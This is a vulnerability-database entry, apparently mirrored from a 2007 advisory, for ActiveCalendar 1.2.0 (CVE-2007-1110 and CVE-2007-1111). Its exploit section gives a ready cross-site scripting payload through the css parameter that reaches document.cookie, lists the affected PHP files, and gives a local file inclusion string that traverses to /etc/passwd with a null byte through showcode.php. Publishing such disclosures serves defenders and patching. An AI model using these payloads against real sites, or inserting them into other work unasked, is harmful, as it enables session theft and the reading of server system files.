ActiveCalendar 1.2.0, Multiple vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053045 漏洞类型
发布时间 2007-02-28 更新时间 2007-02-28
CVE编号 CVE-2007-1111
CVE-2007-1110
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007020102
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
ActiveCalendar 1.2.0, Multiple vulnerabilities
Vendor site : http://www.micronetwork.de/activecalendar/
Global risk : Critical

Multiples XSS :
---------------

/activecalendar/data/[page].php?css="><script>alert(document.cookie)</sc
ript>

In :

/data/
flatevents.php
js.php
mysqlevents.php
m_2.php
m_3.php
m_4.php
xmlevents.php
y_2.php
y_3.php

Local File Include :
---------------------

/activecalendar/data/showcode.php?page=../../../../../../../../../../../
../../../etc/passwd%00

Regards,

Simon Bonnard - 24/02/07 - 02:40am